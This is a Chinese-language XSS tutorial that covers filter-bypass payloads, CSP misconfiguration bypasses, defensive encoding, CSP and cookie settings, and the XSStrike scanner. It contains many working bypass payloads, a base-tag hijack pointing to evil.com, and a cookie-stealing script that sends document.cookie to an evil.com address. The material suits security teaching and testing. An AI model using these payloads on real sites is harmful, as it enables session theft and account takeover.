前言
在上一篇文章中,我们全面探讨了XSS(跨站脚本攻击)的三种主要类型——反射型、存储型和DOM型,并深入掌握了经典Payload的构建技巧。然而,实际Web应用通常会实施输入过滤和转义机制,同时安全团队还会部署CSP(内容安全策略)等多重防护措施。
真正的XSS漏洞挖掘能力不仅在于能否编写<script>alert(1)</script>这样的基础攻击代码,更体现在以下关键方面:
- 面对过滤机制时,是否具备绕过防御的思路和技巧?
- 遭遇完善防御体系时,能否准确理解其工作原理并掌握突破方法?
今天我们将以此进行深入探讨
一,XSS 过滤机制与绕过原理
1.1 过滤为何会被绕过
XSS(跨站脚本攻击)过滤的核心目标是防止恶意脚本在用户浏览器中执行。其本质是通过对用户输入和输出的严格处理,确保不可信数据不会被解析为可执行代码。
简单来说就是用字符串匹配或正则去识别"危险"内容,然后将其删除、转义或拦截。这种机制存在天然的局限性:
- 黑名单永远不完整:HTML 标签、事件属性、伪协议多如牛毛,任何黑名单总有遗漏
- 编码方式多元:浏览器在解析 HTML 时支持多种编码方式,而过滤器通常只处理明文
- 上下文感知不足:同一个
<在不同位置(HTML标签内、属性值内、JavaScript字符串内)含义截然不同 - 解析器差异:不同浏览器对畸形 HTML 的容忍度不同,过滤器无法精确模拟所有浏览器行为
理解了这些根本原因,绕过技巧就有了逻辑基础。
1.3 标签闭合绕过
一种简单的绕过方法:许多过滤器仅检测小写的"script"、"onerror"等关键词,改用大小写混合即可轻松绕过。
<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<SVG/onLOAD=alert(1)>
防御方式:过滤前统一转为小写处理,或使用不区分大小写的正则(/i 标志)。
1.3 标签闭合绕过
当用户输入出现在 HTML 标签的属性值中时,可以通过提前闭合属性和标签来插入新的 HTML:
场景:输入被放入如下位置:
<input type="text" value="[用户输入]">
Payload:
"><script>alert(1)</script>
构造结果:
<input type="text" value=""><script>alert(1)</script>">
类似地,在 <div>、<p>、<a> 等标签内:
</p><script>alert(1)</script>
当 <script> 被过滤时,改用事件属性:
" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)
1.4 HTML 编码绕过
HTML 实体编码是浏览器原生支持的解析机制。当浏览器处理 HTML 属性值时,会自动完成实体解码,而过滤器通常仅作用于原始字符串数据。
常见编码形式:
| 原始字符 | HTML 十进制实体 | HTML 十六进制实体 |
|---|---|---|
< | < | < |
> | > | > |
" | " | " |
' | ' | ' |
绕过示例:
<!-- 在事件属性中使用 HTML 实体编码 -->
<img src=x onerror="alert(1)">
<!-- 混合编码 -->
<a href="javascript:alert(1)">点击</a>
浏览器处理 href 属性时,会先对 HTML 实体解码,再交给 JavaScript 引擎执行。
1.5 Unicode 编码绕过
JavaScript 字符串支持 \uXXXX 形式的 Unicode 转义。当输入出现在 JavaScript 上下文中时(如 <script> 标签内),可利用此特性:
<script>
// 假设用户输入被反射到 JS 字符串中
var name = "[用户输入]";
</script>
Payload:
\u003cscript\u003ealert(1)\u003c/script\u003e
解码后等同于 <script>alert(1)</script>,JavaScript 引擎会正常处理。
还可以使用 \x 十六进制转义:
\x3cscript\x3ealert(1)\x3c/script\x3e
1.6 URL 编码绕过
在 href、src、action 等属性值中,浏览器会对 URL 进行解码。当过滤器未对 URL 编码字符进行解码就检测时,可通过 URL 编码绕过:
<a href="javascript:%61%6c%65%72%74%28%31%29">点我</a>
<!-- 等同于 javascript:alert(1) -->
双重 URL 编码(% 编码为 %25):
%253cscript%253e →(一次解码)→ %3cscript%3e →(二次解码)→ <script>
部分服务端会进行两次 URL 解码,此时双重编码可以绕过只做一次检测的过滤器。
1.7 事件属性枚举绕过
当 onerror、onload 等被过滤时,HTML 支持数量庞大的事件属性,以下是高频可用的替代项:
<!-- 自动触发类 -->
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<!-- 交互触发类 -->
<div onmouseover=alert(1)>hover触发</div>
<div onclick=alert(1)>点击触发</div>
<marquee onstart=alert(1)>滚动触发</marquee>
<!-- 媒体类 -->
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)></audio>
<!-- 不常见事件 -->
<img src=1 onerror=alert(1) onanimationend=alert(2)>
<form id=test onforminput=alert(1)></form>
1.8 伪协议绕过
javascript: 伪协议是 XSS 中常被利用的向量,常见于 href、src、action 等属性:
<!-- 基本形式 -->
<a href="javascript:alert(1)">点击</a>
<!-- 大小写绕过 -->
<a href="JAVASCRIPT:alert(1)">点击</a>
<a href="JavasCript:alert(1)">点击</a>
<!-- 添加空白字符(部分浏览器支持) -->
<a href="java	script:alert(1)">点击</a> <!-- Tab 字符 -->
<a href="java script:alert(1)">点击</a> <!-- 换行符 -->
<a href="java script:alert(1)">点击</a> <!-- 回车符 -->
<!-- vbscript(旧版 IE) -->
<a href="vbscript:MsgBox(1)">点击</a>
1.9 字符串拼接与混淆绕过
在 JavaScript 上下文中,还可以利用语言特性来混淆代码、绕过字符串检测:
// 字符串拼接
eval('al'+'ert(1)')
// 字符编码转换
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Base64 解码
eval(atob('YWxlcnQoMSk='))
// 模板字符串
`${'alert'.replace('ert','ert')}(1)`
// 构造函数方法
[].constructor.constructor('alert(1)')()
window['al'+'ert'](1)
二、CSP(内容安全策略)原理与绕过
2.1 CSP 是什么?
内容安全策略(Content Security Policy,CSP)是一种用于增强网页安全性的机制,通过限制网页中可以加载的资源(如脚本、样式、图片等)的来源,防止跨站脚本攻击(XSS)和数据注入攻击。
2.2 工作原理
CSP通过HTTP响应头或HTML的<meta>标签定义。浏览器会根据策略规则,仅加载或执行符合要求的资源,阻止不符合规则的资源加载或执行。
2.3 配置方式
通过HTTP响应头配置:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
通过HTML的<meta>标签配置:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
2.4 常用指令
| 指令 | 含义 |
|---|---|
|
| 定义默认加载策略,适用于未明确指定的资源类型 |
|
| 控制JavaScript文件的加载来源 |
|
| 控制CSS文件的加载来源 |
|
| 控制图片资源的加载来源 |
|
| 限制XMLHttpRequest、WebSocket等连接的来源 |
|
font-src | 控制字体文件的加载来源 |
|
| 限制iframe的加载来源 |
|
| 指定违反策略时的报告地址(已弃用,推荐使用report-to) |
2.5 CSP 常见配置缺陷与绕过
2.5.1 unsafe-inline 允许内联
Content-Security-Policy: script-src 'self' 'unsafe-inline'
'unsafe-inline' 表示允许内联 <script> 和事件属性,等同于 CSP 形同虚设。任何内联 XSS Payload 均可直接执行。
2.5.2 'self' 限制下的 JSONP 绕过
Content-Security-Policy: script-src 'self'
当目标域名下存在 JSONP 接口时,攻击者可利用其作为脚本来源:
<!-- 假设 https://target.com/api/user?callback=xxx 是 JSONP 接口 -->
<script src="https://target.com/api/user?callback=alert(1)//"></script>
JSONP 接口返回的内容会被当作脚本执行,callback 参数被控制后即可注入代码。
2.5.3 CDN 白名单绕过
Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net
如果 CSP 白名单中包含开放 CDN(如 jsDelivr、cdnjs、unpkg),攻击者可以在这些 CDN 上托管恶意脚本:
<!-- 通过 jsDelivr 加载 GitHub 上的恶意文件 -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/xss.js"></script>
2.5.4 base-uri 缺失导致 <base> 劫持
当 CSP 中没有设置 base-uri 指令时,攻击者可以注入 <base> 标签,将所有相对路径指向恶意域:
<base href="https://evil.com/">
<!-- 之后所有相对路径如 <script src="app.js"> 都会请求 https://evil.com/app.js -->
2.5.5 SVG 文件上传绕过
如果 CSP 允许 img-src 'self' 或有文件上传功能,且上传的 SVG 文件在同域下可访问,则:
<!-- evil.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<circle cx="50" cy="50" r="50"/>
</svg>
通过 <img src="/uploads/evil.svg"> 引入,在某些场景下可触发 JS 执行。或通过 <script src="/uploads/evil.svg"> 来加载。
2.5.6 nonce 与 hash 绕过场景
现代 CSP 推荐使用 nonce 或 hash 代替 unsafe-inline:
Content-Security-Policy: script-src 'nonce-abc123'
攻击面:
- 如果 nonce 值可预测或通过信息泄露获取,则可伪造合法脚本
- 如果页面存在 DOM Clobbering 或 Prototype Pollution,可在不执行新脚本的情况下操控页面行为
三、XSS 综合防御方案
3.1 输入验证与过滤
服务端应对所有输入执行严格的白名单验证:
// PHP 示例:白名单过滤
function sanitize_input($input) {
// 只允许字母、数字、空格和少数安全字符
$allowed = '/^[a-zA-Z0-9\s\-_.@]+$/';
if (!preg_match($allowed, $input)) {
return ''; // 不符合则拒绝
}
return $input;
}
注意:输入验证不能单独作为 XSS 防御手段,因为合法数据(如文章内容)本身可能包含 HTML。
3.2 输出编码(最核心的防御)
根据输出上下文选择正确的编码方式:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML 内容区域 | HTML 实体编码 | <script> |
| HTML 属性值 | HTML 属性编码 | " |
| JavaScript 字符串 | JavaScript 转义 | \x3c |
| URL 参数 | URL 编码 | %3Cscript%3E |
| CSS 值 | CSS 转义 | \003C |
// PHP 输出编码示例
// HTML 内容区域
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// HTML 属性值(更严格)
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// JavaScript 前端输出编码(React 等框架默认处理)
// 使用 textContent 而非 innerHTML
element.textContent = userInput; // 安全
element.innerHTML = userInput; // 危险!
React / Vue 等现代框架默认对输出进行转义,但使用 dangerouslySetInnerHTML(React)或 v-html(Vue)时需格外小心。
3.3 Content Security Policy 最佳实践
推荐的强 CSP 配置:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random_value}' 'strict-dynamic';
style-src 'self' 'nonce-{random_value}';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-src 'none';
base-uri 'none';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-report;
关键配置说明:
-
'nonce-{random_value}':每次请求生成随机 nonce 值,确保只有携带匹配 nonce 的脚本才能执行 -
'strict-dynamic':允许受信任脚本动态加载其他脚本,有效防止通过静态白名单绕过的攻击 -
base-uri 'none':禁用<base>标签,防止 URL 劫持风险 -
form-action 'self':限制表单只能提交到当前域名,避免数据外泄
3.4 HttpOnly 与 Secure Cookie
XSS 最常见的危害是 Cookie 窃取,设置 HttpOnly 可有效阻断这一路径:
// PHP 设置 Cookie
setcookie('session_id', $session_id, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true, // 只通过 HTTPS 传输
'httponly' => true, // 禁止 JavaScript 访问
'samesite' => 'Strict' // 防止 CSRF
]);
注意:HttpOnly 只防止 Cookie 被 document.cookie 读取,不能阻止 XSS 的其他危害(如页面劫持、键盘记录等)。
3.5 X-XSS-Protection 与现代浏览器
旧版浏览器支持 X-XSS-Protection 响应头来启用浏览器内置 XSS 过滤器:
X-XSS-Protection: 1; mode=block
但现代 Chrome 浏览器已移除此功能,转而依赖 CSP。该头在新版浏览器中实际意义有限,但配置 mode=block 不会造成副作用。
3.6 安全编码函数速查
| 语言 | 推荐函数/库 | 说明 |
|---|---|---|
| PHP | htmlspecialchars() | 转义 5 个核心 HTML 字符 |
| PHP | htmlentities() | 转义所有可编码字符 |
| Java | StringEscapeUtils.escapeHtml4() | Apache Commons Lang |
| Java | HtmlUtils.htmlEscape() | Spring Framework |
| Python | markupsafe.escape() | Flask/Jinja2 内置 |
| Node.js | he.encode() | he 库 |
| JavaScript | DOMPurify.sanitize() | 富文本安全过滤库 |
四、自动化测试工具:XSStrike
XSStrike 是目前最智能的 XSS 测试工具之一,支持自动分析响应内容、智能生成绕过 Payload。
4.1 安装
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip3 install -r requirements.txt
4.2 基本用法
# 基本扫描
python3 xsstrike.py -u "http://target.com/search?q=test"
# 扫描 POST 请求
python3 xsstrike.py -u "http://target.com/login" --data "username=test&password=test"
# 爬虫模式(自动发现参数)
python3 xsstrike.py -u "http://target.com" --crawl
# 使用 Burp 代理
python3 xsstrike.py -u "http://target.com/search?q=test" --proxy
# 盲 XSS 测试(设置回调 URL)
python3 xsstrike.py -u "http://target.com/search?q=test" --blind
4.3 输出分析
XSStrike 能够智能分析每个参数的上下文环境,并据此生成针对性的绕过 Payload。当检测到潜在 XSS 漏洞时,工具会输出以下关键信息:
- 有效的注入 Payload
- 漏洞触发位置(反射型)
- 置信度等级(Confidence)
五、思路总结
面对一个疑似存在 XSS 的参数,建议按如下思路逐步测试:
Step 1:定位反射点 → 输入测试字符串(如xss123)标记反射位置 → 确认反射区域:HTML内容区/属性值/JS字符串/URL参数
Step 2:基础Payload测试 → 注入基础XSS向量: <script>alert(1)</script> <img src=x οnerrοr=alert(1)> <svg οnlοad=alert(1)>
Step 3:过滤机制分析 → 检测被过滤或转义的特殊字符及关键词 → 判断过滤方式:字符删除/HTML转义/请求拦截
Step 4:绕过技术实施 → 采用混淆技术: - 大小写变体 - 多重编码 - 替代事件属性 - 等价标签替换
Step 5:完整漏洞验证 → 构造Cookie窃取Payload: <script>document.location='http://evil.com/c?c='+document.cookie</script> → 使用XSS接收平台(如xss.pt)验证漏洞利用
六、总结
今天我们系统学习了 XSS 绕过与防御两个维度的核心知识:
攻方核心技能:
- 混淆技术:灵活运用大小写混用、标签闭合漏洞及多种编码方式(HTML/Unicode/URL)绕过防护
- 事件处理:熟练使用大量DOM事件属性和伪协议实现攻击
- 策略突破:掌握常见内容安全策略(CSP)配置弱点及相应绕过方法
防方核心原则:
- 上下文感知输出编码作为基础防护
- 结合 CSP 和 nonce 机制以增强防御强度
- 启用 HttpOnly Cookie 属性阻断常见攻击途径
- 实施多层次防护体系,避免依赖单一防御措施
XSS 作为一种"老牌漏洞",在现代 Web 应用中依然稳居漏洞排行榜前列。深入了解绕过技术的本质,正是为了弥补防御短板,发挥防护优势。
温馨提示:以上技术仅供娱乐消遣,切勿用来“搞事情”,否则警察叔叔可能会请你喝茶哦!网络安全法可不是摆设,做个遵纪守法的好公民,世界和平靠大家!
2723

被折叠的 条评论
为什么被折叠?



